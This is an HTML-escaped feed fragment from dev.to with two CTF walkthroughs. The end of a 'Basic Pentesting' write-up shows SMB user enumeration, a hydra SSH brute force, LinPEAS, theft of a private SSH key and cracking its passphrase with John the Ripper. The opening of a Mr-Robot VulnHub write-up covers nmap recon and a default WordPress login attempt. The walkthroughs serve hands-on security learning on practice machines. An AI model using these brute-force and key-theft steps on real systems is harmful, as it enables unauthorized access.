&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--y4CP3EFW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b2y5dthjlg8wy0u3stjd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--y4CP3EFW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b2y5dthjlg8wy0u3stjd.png" alt="ffuf" width="764" height="507"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see there is a hidden directory: &lt;code&gt;/development&lt;/code&gt;. When we open the directory in our browser, we see 2 files:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--s7Mqvfsi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9un5kic0kv2d401uuhxz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--s7Mqvfsi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9un5kic0kv2d401uuhxz.png" alt="wa-index" width="484" height="354"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;dev.txt&lt;/code&gt; appear to be message logs between "K" and "J". It's noted that Apache is being used and SMB has been configured. A possible vector here, but let's evaluate the other file before we jump in.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lWf5tOQq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5s60h6lbg1y2sc8yxo3g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lWf5tOQq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5s60h6lbg1y2sc8yxo3g.png" alt="text-log" width="746" height="255"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;j.txt&lt;/code&gt; appears to be memo from "K", warning "J" that their hash was very easy to crack. With that in mind, if we find "J's" full username, we can probably crack their password without too much resistance.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TBwr2XGo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ym02wvday34lpboaw06p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TBwr2XGo--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ym02wvday34lpboaw06p.png" alt="memo" width="715" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User brute-forcing to find the username &amp;amp; password&lt;/strong&gt;. Remember earlier how we noted SMB was configured? We have just the tool that interacts with the SMB protocol, &lt;a href="https://www.kali.org/tools/enum4linux/"&gt;enum4linux&lt;/a&gt;. It will be used to enumerate any potential users on the target system. Let's run the following command: &lt;code&gt;enum4linux -a 10.10.169.3 | tee enum4linux.log&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EIboI7hY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vmqzj2oqlpy6nxvafb1t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EIboI7hY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vmqzj2oqlpy6nxvafb1t.png" alt="enum4linux-command" width="754" height="82"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the username?&lt;/strong&gt; We can correlate the results of the enumeration to conlude that &lt;code&gt;jan&lt;/code&gt; is the username.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--OF-l1SsT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/we8tcfqximp7hpgsicnz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OF-l1SsT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/we8tcfqximp7hpgsicnz.png" alt="enum4linux-result" width="618" height="86"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Referencing back to our previous clue that "J" has weak credentials, we'll use their username to brute force a password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the password?&lt;/strong&gt; We'll use &lt;code&gt;hydra&lt;/code&gt; to brute force the password by running the following command:  &lt;code&gt;hydra -l jan -P Desktop/wordlists/rockyou.txt ssh://&amp;lt;MACHINE_IP&amp;gt; -I&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NIcEBc6k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1zth6ho3ykvx4j1d1g5x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NIcEBc6k--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1zth6ho3ykvx4j1d1g5x.png" alt="hydra" width="800" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After the hydra completes it execution, we our credentials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;username: &lt;code&gt;jan&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;password: &lt;code&gt;armando&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What service do you use to access the server?&lt;/strong&gt; We'll be using SSH to login with jan's credentials: &lt;code&gt;ssh jan@&amp;lt;MACHINE_IP&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ahKpeNFp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/11527y7omv86xlzbeh3e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ahKpeNFp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/11527y7omv86xlzbeh3e.png" alt="ssh-jan" width="573" height="613"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After logging in, we kind of poke around a bit. We see that shadow folder referenced in the chat logs...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eH9coNTv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ba7rxesihq759xf254th.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eH9coNTv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ba7rxesihq759xf254th.png" alt="directory" width="800" height="582"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Testing if we can use sudo to run any commands with elevated privileges...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EvwWtW3i--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7a269h1p65rj05w72fxi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EvwWtW3i--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7a269h1p65rj05w72fxi.png" alt="sudo-test" width="800" height="169"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...doesn't look like it...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ayTYU1JL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uffq1oklykd0ewzq6dtp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ayTYU1JL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uffq1oklykd0ewzq6dtp.png" alt="more-directory" width="800" height="582"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s check back to our other user &lt;code&gt;kay&lt;/code&gt; to see if we can find anything in their &lt;code&gt;home&lt;/code&gt; directory...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--aeSmaZET--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jee422k0avfynao5yzr9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--aeSmaZET--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jee422k0avfynao5yzr9.png" alt="even-more-directory" width="800" height="582"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Oh? We see a &lt;code&gt;pass.bak&lt;/code&gt; file that look s like a potential lead, but permissions only allow &lt;code&gt;kay&lt;/code&gt; read and write access. Will need to get &lt;code&gt;kay&lt;/code&gt; credentials and ssh as &lt;code&gt;kay&lt;/code&gt; in order to access that file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Enumerate the machine to find any vectors for privilege escalation&lt;/strong&gt;:&lt;a&gt;&lt;/a&gt; A way we can automate this process is by running &lt;a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS"&gt;LinPEAS&lt;/a&gt; (Linux Privilege Escalation Awesome Script). LinPEAS will search for possible paths to escalate privileges on the host machine.&lt;/p&gt;

&lt;p&gt;Next step is to install LinPEAS onto our local attack machine and then upload it to our target machine using SCP with the following command: &lt;code&gt;scp /path/to/linpeas/linpeas.sh jan@&amp;lt;MACHINE_IP&amp;gt;:/specific/path/on/machine&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--XwU8qTTN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nupbwpsm0777p12ffw0j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--XwU8qTTN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nupbwpsm0777p12ffw0j.png" alt="linpeas" width="603" height="302"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's verify that the file has been transferred and ensure the executable bit is enabled.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--XJBq8AJq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rer8mlpcg58m39btob1a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--XJBq8AJq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rer8mlpcg58m39btob1a.png" alt="scp-check" width="433" height="98"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we run LinPEAS with this command: &lt;code&gt;./linpeas.sh | tee linlog.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--KeHlmhbc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dy41sf6rw6ij2rsu91tk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KeHlmhbc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dy41sf6rw6ij2rsu91tk.png" alt="run-linpeas" width="730" height="908"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After LinPEAS is was done executing, and with a look through the potential vector ouput, we find that we have a private key file that appears to be in the kay user directory, which we could use to login as kay!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--He-pDiXl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/73jw9lgt6luuesu7b6hf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--He-pDiXl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/73jw9lgt6luuesu7b6hf.png" alt="yay-linpeas" width="612" height="456"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;══╣ Possible private SSH keys were found!
/home/kay/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There appears to be a possible vector with a private SSH key found in the &lt;code&gt;/home/kay/.ssh&lt;/code&gt; directory. Let's try navigating to the directory...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--w7Ly4yfs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/shvymyb60lcpkd7agta7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--w7Ly4yfs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/shvymyb60lcpkd7agta7.png" alt="navigate-kay-home" width="326" height="119"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Navigation successful, and from the listed permissions, we should be able to read the private key!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RH4N6c-Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hic0qn8h5jfm2r6zcy4u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RH4N6c-Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hic0qn8h5jfm2r6zcy4u.png" alt="kay-permissions" width="453" height="115"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cat&lt;/code&gt; and extract the &lt;code&gt;id_rsa&lt;/code&gt; private key&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--y5uAsLfu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gijrqr61o6j3xd8686ac.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--y5uAsLfu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gijrqr61o6j3xd8686ac.png" alt="id-rsa-extract" width="800" height="663"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We'll save it to our local attack machine using &lt;code&gt;nano&lt;/code&gt; → &lt;code&gt;kay_id_rsa&lt;/code&gt; and setting &lt;code&gt;chmod 600&lt;/code&gt; &lt;em&gt;(read only setting)&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the name of the other user you found?&lt;/strong&gt; From our earlier enumeration, we can confirm that &lt;code&gt;kay&lt;/code&gt; is the other username.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you have found another user, what can you do with this information?&lt;/strong&gt; See if there are any privilege escalation vectors that might be associated with this other user, &lt;code&gt;kay&lt;/code&gt;, which we achieved with LinPEAS in the last section.&lt;/p&gt;

&lt;p&gt;Now, let’s try logging into &lt;code&gt;kay&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_-Ic4Jla--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gxjp6axd6ehy6v8niete.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_-Ic4Jla--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gxjp6axd6ehy6v8niete.png" alt="ssh-kay" width="356" height="93"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, the private key is passphrase protected, but that shouldn't be too much trouble for our good friend, JtR (John the Ripper). JtR is a password cracking tool which we will use to crack the passphrase for our private key. First we'll need to extract the hash values from the private key with &lt;code&gt;ssh2john&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--LEGXk3e---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e6vhgkbs32txnz4rw17p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--LEGXk3e---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e6vhgkbs32txnz4rw17p.png" alt="ssh2john-kay_id_rsa" width="800" height="686"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will allow us to pass the hash to John The Ripper to crack it using the wordlist &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1DAUCIkg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r67t6gfft0y8jiosnait.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1DAUCIkg--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r67t6gfft0y8jiosnait.png" alt="john-wordlist" width="760" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And boom, we have our private key passphrase: &lt;code&gt;beeswax&lt;/code&gt;. Let's try logging in as &lt;code&gt;kay&lt;/code&gt; one more time:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9NTW5ZT_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pm2ss9l2xqije8uhzu7s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9NTW5ZT_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pm2ss9l2xqije8uhzu7s.png" alt="ssh-again" width="555" height="271"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's see that what's in kay's home directory.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--K4jsBTEn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8twf1sdp5sg6fiqd0h0u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--K4jsBTEn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8twf1sdp5sg6fiqd0h0u.png" alt="final-password" width="484" height="104"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the final password you obtain?&lt;/strong&gt; And after a quick &lt;code&gt;cat&lt;/code&gt;, we have our final password:&lt;code&gt;heresareallystrongpasswordthatfollowsthepasswordpolicy$$&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Overall, the Basic Pentesting CTF was not too difficult, but complex enough to where it tests my baseline knowledge of what tools to use in the appropriate scenario. Another CTF under the belt and more tools for the utility belt to crack the next one. Happy hacking!👾&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>learning</category>
      <category>testing</category>
    </item>
    <item>
      <title>Mr-Robot (not the show...kind of)</title>
      <dc:creator>Dylan Nguyen</dc:creator>
      <pubDate>Wed, 04 Oct 2023 19:56:12 +0000</pubDate>
      <link>https://dev.to/dmnuggins/mr-robot-ctf-2ao8</link>
      <guid>https://dev.to/dmnuggins/mr-robot-ctf-2ao8</guid>
      <description>&lt;p&gt;Hello world! Today I'll be detailing the steps I took to hack VulnHub's &lt;a href="https://www.vulnhub.com/entry/mr-robot-1,151/" rel="noopener noreferrer"&gt;Mr-Robot: 1&lt;/a&gt; VM, created by Leon Johnson. The VM has three keys hidden in different locations and my goal is to find all three.&lt;/p&gt;

&lt;h2&gt;
  
  
  Configuration
&lt;/h2&gt;

&lt;p&gt;I'll be using a &lt;a href="https://www.kali.org/" rel="noopener noreferrer"&gt;Kali Linux&lt;/a&gt; VM to attack Mr-Robot: 1, which we will refer to as "target" throughout the write-up. Both machines are set up on &lt;a href="https://www.virtualbox.org" rel="noopener noreferrer"&gt;Oracle VM VirtualBox&lt;/a&gt; and their networks are set to the &lt;code&gt;Host Only Network&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's start hacking!&lt;/p&gt;




&lt;h2&gt;
  
  
  Where is Key 1? &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;First we will need to do a little reconnaissance, so let's start with figuring out our target's IP address.&lt;/p&gt;

&lt;p&gt;To do that, we'll check my Kali machine's address using the command &lt;code&gt;ip address&lt;/code&gt;.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ficsxept78c8wiq7kfsh9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ficsxept78c8wiq7kfsh9.png" alt="IP address command"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With our IP, &lt;code&gt;192.168.56.104&lt;/code&gt; perform a network scan and check the full range of IP's for our target address with the following command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nmap -oX nmap_scan.xml 192.168.56.0/24&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnuenkk7cai1r9x0tcwvi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnuenkk7cai1r9x0tcwvi.png" alt="nmap scan"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After a quick check of each IP on the &lt;a href="https://www.kali.org/tools/nmap/" rel="noopener noreferrer"&gt;nmap&lt;/a&gt; report, we see our target is on &lt;code&gt;192.168.56.103&lt;/code&gt;:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnnstd1llm7rpop6kjo2o.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnnstd1llm7rpop6kjo2o.gif" alt="Mr-Robot site"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Enumeration &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;There are tools like &lt;a href="https://www.kali.org/tools/dirb/" rel="noopener noreferrer"&gt;dirb&lt;/a&gt; that we can use to recon any potential subdirectories of the main host address, but this method was exhaustive and can take some time. To be efficient with our time, let's manually check some common subdirectories and see if we can get a lead:&lt;/p&gt;

&lt;p&gt;Possible there might be instructions on &lt;code&gt;192.168.56.103/readme&lt;/code&gt;...&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox6i5z6j3wqz4uitgqw6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fox6i5z6j3wqz4uitgqw6.png" alt="readme dir"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...rude that it's not willing to help us with the hack.&lt;/p&gt;

&lt;p&gt;How about &lt;code&gt;192.168.56.103/license&lt;/code&gt;...&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Firvt1z1itziutq41lci8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Firvt1z1itziutq41lci8.png" alt="license dir"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...ummm, language.&lt;/p&gt;

&lt;p&gt;Could see if it's a WordPress (WP) site with &lt;code&gt;192.168.56.103/wp-login&lt;/code&gt;...&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5u4ln5mcrksz5nqv52j0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5u4ln5mcrksz5nqv52j0.png" alt="WordPress login dir"&gt;&lt;/a&gt; &lt;a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...looks like we got ourselves a WP site. Let's try the default &lt;code&gt;admin&lt;/code&gt; &amp;amp; &lt;code&gt;password&lt;/code&gt; attack, see if we can get in.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdvlgjva8va32olp9vzgk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdvlgjva8va32olp9vzgk.png" alt="Default login attack"&gt;&lt;/a&gt;&lt;a&gt;&lt;/a&gt;&lt;br&gt;
